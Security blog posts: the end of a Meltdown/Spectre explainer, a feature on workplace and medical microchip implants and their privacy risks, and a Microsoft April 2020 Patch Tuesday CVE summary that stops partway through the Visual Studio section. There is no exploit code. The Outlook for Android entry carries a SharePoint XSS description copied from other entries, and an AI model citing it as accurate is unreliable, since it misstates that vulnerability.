Spectre (CVE-2017-5753 and CVE-2017-5715) has a similar outcome but works in a slightly different way, and exploits a flaw in processor design to trick an application into leaking information stored in memory.
According to the team who discovered Spectre, virtually all modern processors are affected by the vulnerability, including Intel, AMD, and ARM chips. Once again, the vulnerability is operating system agnostic.
Mitigation
Users are advised to apply operating system patches immediately. Patches have already been released for Microsoft Windows, Apple macOS, and Linux to patch Meltdown. Spectre is reportedly more difficult to patch but also more difficult to exploit. Work is underway to harden software against any potential exploits.
Operating system vendors have already warned that patching is likely to have a performance impact on affected computers. According to Microsoft, the impact may not be noticeable on most consumer devices, however the specific impact “varies by hardware generation and implementation by the chip manufacturer.” The developers of the Linux patch said average performance could decline by 5 percent, but instances of a 30 percent decline were observed.
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Microchip Implants: Big Brother in a Chip Coming Our Way?
As more organizations begin wading into uncharted territory, society will be forced to examine a host of new privacy and security questions – without easy answers
Back in 1969, when Star Trek’s fleet officers scanned their thumbs on a pad to pay bills, TV audiences got more than a dose of sci-fi. They gazed into the future.
That future is now a reality.
Since last August, earth-born employees at Three Square Market, a Wisconsin-based tech firm, have been breezing into their workplace, operating computers and making purchases at onsite vending machines – all by waving a hand implanted with a data-crammed microchip. Elsewhere, in Sweden, an early adopter of microchip implants in every day life, train conductors scan passengers’ hands after they book tickets online and register them on their chip.
These current uses only hint at the extraordinary potential for microchip implants -- in the United States and around the globe.
“It’s the future, and these chips are going to be more and more ubiquitous,” said Arthur Caplan, director of the division of medical ethics at the NYU School of Medicine.
With credit cards, passports and driver’s licenses incorporating identification-embedded microchips and many pet owners implanting chips into their pets to track their whereabouts, it was only a matter of time before they entered the human body.
Predictions abound that everyone – from babes in arms to elderly folks suffering from dementia – will one day have a microchip implant for one reason or another.
Looking ahead, Lee Barrett, executive director and CEO of the Electronic Healthcare Network Accreditation Commission, sees value in hospitals micro-chipping newborns to ensure that mothers leave with the infants they bore. And he envisions an ever-growing use of microchip implants containing detailed data on an individual’s medical conditions, including allergies, so that physicians can readily access the information in the event of an emergency hospital admission.
In rural areas, where no physicians practice, microchip implants could remotely transmit an individual’s health data to a nurse or doctor, said Caplan, who sees the devices particularly advantageous to astronauts and submarine personnel. The chips could also let authorities know whether pilots are drunk before or after takeoff.
Predictions abound that everyone – from babes in arms to elderly folks suffering from dementia – will one day have a microchip implant for one reason or another.
In the world of law and order, a microchip – with GPS capabilities – could be implanted in inmates to minimize prison breakouts, as well as increase the likelihood of capturing escapees before they do any harm in the outside world.
But along with their many uses, microchip implants could be prone to abuses, predict experts.
Through WiFi, black hatters could latch onto microchip implants, infecting them with havoc-producing viruses, or they could access the vital, private information the devices contain. “Someone can use the information to extort you, sell it and threaten to release it in public places,” said Caplan.
The chips could also spur physical violence, with thieves abducting micro-chipped individuals and forcing them to wave their hands to withdraw cash at ATMs.
To prevent such scenarios, Robert J. Shaker II, senior manager, product management, in Symantec’s Cyber Security Services manager, envisions a technology that monitors heart rates and brainwaves in order to send signals to the chip that the implanted individual is under duress – and to block access to an ATM. Adding DNA to the chip’s recognition abilities, he noted, would thwart the efforts of criminals who forcibly remove implants and insert them into their own bodies.
“The implant would notice something is wrong and could start sending signals for help,” said Shaker, who views the microchip’s tie-in with DNA, brainwaves and heart as an “end-to-end authentication process.”
Brian Green, director of Technology Ethics at Santa Clara University’s Markkula Center for Applied Ethics, expressed concern that in a world where retailers, credit card companies and employers would each have their own chips for human implantation, the government could become the centralized surveillance body, which would turn the country into a “surveillance state.” Plus, it could be hackable.
“A loss of privacy is the underlying issue," said Green.
As implants become more widespread, Green believes that individuals should have the right to decide whether they want the microchip in their bodies. But, in a surveillance state, individuals who decline implanted microchips could be out of sync with technology and even marginalized. They would risk not having the same protections as those who are micro-chipped – and if they were in danger, the police wouldn’t be able to rescue them as readily, imagined Green.
On a micro-level, a company could also become a surveillance entity. Although tracking devices are already embedded in corporate-owned cars and other equipment provided to employees for their work, “we can detach ourselves from the car,” said Michael Ansell, an attorney specializing in labor employment and consumer class action cases and associated with the New Jersey law firm Ansell Grimm & Aaron PC. “But there’s no cut-off for a chip implanted.” Employers would have knowledge of their micro-chipped workers’ comings, goings and doings -- before, during and after work hours.
And unless the country passes legislation similar to HIPAA, which provides data privacy and security provisions for safeguarding medical information, employers are under no obligation to stay mum about their workers’ personal lives. “As soon as you allow employers to have it, it doesn’t prevent them from disclosing it to others,” said Ansell.
According to experts, other possible consequences include doctors refusing to care for individuals whose microchip indicates that they aren’t eating properly or taking their daily medicine and insurance companies denying coverage to people implanted with a tracking chip that reveals their tendency to speed.
“There’s no lying, cheating, hiding or ducking,” said Caplan. “It’s Big Brother in a tiny chip.”
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Microsoft Patch Tuesday - April 2020
This month the vendor has patched 113 vulnerabilities, 18 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the April 2020 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Edge
ChakraCore
Microsoft Office
Microsoft Windows
Microsoft Windows Kernel
Microsoft Graphics Component
Microsoft JET Database Engine
Windows Hyper-V
Visual Studio
Microsoft Dynamics
Microsoft Defender
Microsoft Remote Desktop App
Microsoft YourPhone Application for Android
Microsoft MSR JavaScript Cryptography Library
Microsoft OneDrive for Windows
The following is a breakdown of the issues being addressed this month:
1. Cumulative Security Updates for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2020-0969) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based)L. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0968) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0970) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
VBScript Remote Code Execution Vulnerability (CVE-2020-0967) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2020-0895) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
VBScript Remote Code Execution Vulnerability (CVE-2020-0966) MS Rating: Important
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
2. Cumulative Security Updates for Microsoft Office
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2020-0974) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2020-0929) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2020-0931) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2020-0932) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2020-0906) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2020-0979) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2020-0961) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Microsoft Office Remote Code Execution Vulnerability (CVE-2020-0760) MS Rating: Important
A remote code execution vulnerability exists when Microsoft Office improperly loads arbitrary type libraries. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0923) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0924) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0925) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0926) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0927) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0930) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0933) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0954) MS Rating: Moderate
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0978) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2020-0920) MS Rating: Important
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2020-0971) MS Rating: Important
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Spoofing Vulnerability (CVE-2020-0972) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Spoofing Vulnerability (CVE-2020-0975) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Spoofing Vulnerability (CVE-2020-0976) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Spoofing Vulnerability (CVE-2020-0977) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft (MAU) Office Privilege Escalation Vulnerability (CVE-2020-0984) MS Rating: Important
A privilege escalation vulnerability exists when the Microsoft AutoUpdate (MAU) application for Mac improperly validates updates before executing them. An attacker who successfully exploited the vulnerability who already has the ability to execute code on a system could elevate privileges. Microsoft Office Remote Code Execution Vulnerability (CVE-2020-0991) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Word Remote Code Execution Vulnerability (CVE-2020-0980) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Outlook for Android Spoofing Vulnerability (CVE-2020-0973) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
3. Cumulative Security Updates for Microsoft Windows
Adobe Font Manager Library Remote Code Execution Vulnerability (CVE-2020-1020) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows when the Windows Adobe Type Manager Library improperly handles a specially-crafted multi-master font - Adobe Type 1 PostScript format. For all systems except Windows 10, an attacker who successfully exploited the vulnerability could execute code remotely.
OpenType Font Parsing Remote Code Execution Vulnerability (CVE-2020-0938) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows when the Windows Adobe Type Manager Library improperly handles specially crafted OpenType fonts. For all systems except Windows 10, an attacker who successfully exploited the vulnerability could execute code remotely.
Media Foundation Memory Corruption Vulnerability (CVE-2020-0948) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Media Foundation Memory Corruption Vulnerability (CVE-2020-0949) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Media Foundation Memory Corruption Vulnerability (CVE-2020-0950) MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Microsoft Windows Codecs Library Remote Code Execution Vulnerability (CVE-2020-0965) MS Rating: Critical
A remoted code execution vulnerability exists in the way that Microsoft Windows Codecs Library handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Push Notification Service Privilege Escalation Vulnerability (CVE-2020-0940) MS Rating: Important
A privilege escalation vulnerability exists in the way the Windows Push Notification Service handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Push Notification Service Privilege Escalation Vulnerability (CVE-2020-1001) MS Rating: Important
A privilege escalation vulnerability exists in the way the Windows Push Notification Service handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Push Notification Service Privilege Escalation Vulnerability (CVE-2020-1006) MS Rating: Important
A privilege escalation vulnerability exists in the way the Windows Push Notification Service handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Push Notification Service Privilege Escalation Vulnerability (CVE-2020-1017) MS Rating: Important
A privilege escalation vulnerability exists in the way the Windows Push Notification Service handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Push Notification Service Information Disclosure Vulnerability (CVE-2020-1016) MS Rating: Important
An information disclosure vulnerability exists when the Windows Push Notification Service improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Scheduled Task Privilege Escalation Vulnerability (CVE-2020-0936) MS Rating: Important
A privilege escalation vulnerability exists when a Windows scheduled task improperly handles file redirections. An attacker who successfully exploited this vulnerability could delete a targeted file they would not have permissions to.
Windows Token Security Bypass Vulnerability (CVE-2020-0981) MS Rating: Important
A security bypass vulnerability exists when Windows fails to properly handle token relationships. An attacker who successfully exploited the vulnerability could allow an application with a certain integrity level to execute code at a different integrity level, leading to a sandbox escape.
Windows Update Stack Privilege Escalation Vulnerability (CVE-2020-0985) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Update Stack fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Update Stack Privilege Escalation Vulnerability (CVE-2020-0996) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Update Stack fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Connected User Experiences and Telemetry Service Privilege Escalation Vulnerability (CVE-2020-0942) MS Rating: Important
A privilege escalation vulnerability exists when Connected User Experiences and Telemetry Service improperly handles file operations. An attacker who successfully exploited this vulnerability could overwrite files in arbitrary locations with elevated permissions.
Connected User Experiences and Telemetry Service Privilege Escalation Vulnerability (CVE-2020-0944) MS Rating: Important
A privilege escalation vulnerability exists when Connected User Experiences and Telemetry Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
DirectX Privilege Escalation Vulnerability (CVE-2020-0784) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
DirectX Privilege Escalation Vulnerability (CVE-2020-0888) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Microsoft Windows Update Client Privilege Escalation Vulnerability (CVE-2020-1014) MS Rating: Important
A privilege escalation vulnerability exists in the Microsoft Windows Update Client when it does not properly handle privileges. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Media Foundation Information Disclosure Vulnerability (CVE-2020-0937) MS Rating: Important
An information disclosure vulnerability exists when Media Foundation improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Media Foundation Information Disclosure Vulnerability (CVE-2020-0939) MS Rating: Important
An information disclosure vulnerability exists when Media Foundation improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Media Foundation Information Disclosure Vulnerability (CVE-2020-0945) MS Rating: Important
An information disclosure vulnerability exists when Media Foundation improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Media Foundation Information Disclosure Vulnerability (CVE-2020-0946) MS Rating: Important
An information disclosure vulnerability exists when Media Foundation improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Media Foundation Information Disclosure Vulnerability (CVE-2020-0947) MS Rating: Important
An information disclosure vulnerability exists when Media Foundation improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Delivery Optimization Service Privilege Escalation Vulnerability (CVE-2020-0983) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Delivery Optimization service improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges.
Windows DNS Denial of Service Vulnerability (CVE-2020-0993) MS Rating: Important
A denial of service vulnerability exists in Windows DNS when it fails to properly handle queries. An attacker who successfully exploited this vulnerability could cause the DNS service to become nonresponsive.
Windows Privilege Escalation Vulnerability (CVE-2020-0934) MS Rating: Important
A privilege escalation vulnerability exists when the Windows WpcDesktopMonSvc improperly manages memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Privilege Escalation Vulnerability (CVE-2020-1009) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Microsoft Store Install Service handles file operations in protected locations. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2020-1011) MS Rating: Important
A privilege escalation vulnerability exists when the Windows System Assessment Tool improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Privilege Escalation Vulnerability (CVE-2020-1015) MS Rating: Important
A privilege escalation vulnerability exists in the way that the User-Mode Power Service (UMPS) handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Connected User Experiences and Telemetry Service Privilege Escalation Vulnerability (CVE-2020-1029) MS Rating: Important
A privilege escalation vulnerability exists when Connected User Experiences and Telemetry Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Work Folder Service privilege Escalation Vulnerability (CVE-2020-1094) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Denial of Service Vulnerability (CVE-2020-0794) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
4. Cumulative Security Updates for Microsoft Windows Kernel
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-0913) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-1000) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-1003) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-1027) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Information Disclosure in CPU Memory Access (CVE-2020-0955) MS Rating: Important
An information disclosure vulnerability exists when certain central processing units (CPU) speculatively access memory. An attacker who successfully exploited the vulnerability could read privileged data across trust boundaries.
Windows Kernel Information Disclosure Vulnerability (CVE-2020-0821) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2020-1007) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2020-0956) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0957) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0958) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Information Disclosure Vulnerability (CVE-2020-0699) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Win32k Information Disclosure Vulnerability (CVE-2020-0962) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
5. Cumulative Security Updates for Microsoft Graphics Component
Microsoft Graphics Components Remote Code Execution Vulnerability (CVE-2020-0907) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker who successfully exploited the vulnerability could execute arbitrary code on a target system.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2020-0982) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2020-0987) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2020-1005) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2020-0687) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
GDI+ Remote Code Execution Vulnerability (CVE-2020-0964) MS Rating: Important
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
Windows GDI Information Disclosure Vulnerability (CVE-2020-0952) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2020-1004) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
6. Cumulative Security Updates for Microsoft Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0889) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0953) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0959) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0960) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0988) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0992) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0994) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0995) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-0999) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2020-1008) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
7. Cumulative Security Updates for Windows Hyper-V
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2020-0910) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Privilege Escalation Vulnerability (CVE-2020-0917) MS Rating: Important
A privilege escalation vulnerability exists when Windows Hyper-V on a host server fails to properly handle objects in memory. An attacker who successfully exploited these vulnerabilities could gain elevated privileges on a target operating system.
Windows Hyper-V Privilege Escalation Vulnerability (CVE-2020-0918) MS Rating: Important
A privilege escalation vulnerability exists when Windows Hyper-V on a host server fails to properly handle objects in memory. An attacker who successfully exploited these vulnerabilities could gain elevated privileges on a target operating system.
8. Cumulative Security Updates for Microsoft Visual Studio
Visual Studio Extension Installer Service Privilege Escalation Vulnerability (CVE-2020-0900) MS Rating: Important
A privilege escalation vulnerability exists when the Visual Studio Extension Installer Service improperly handles file operations. An attacker who successfully exploited the vulnerability could delete files in arbitrary locations with elevated permissions.
Microsoft Visual Studio Privilege Escalation Vulnerability (CVE-2020-0899) MS Rating: Important
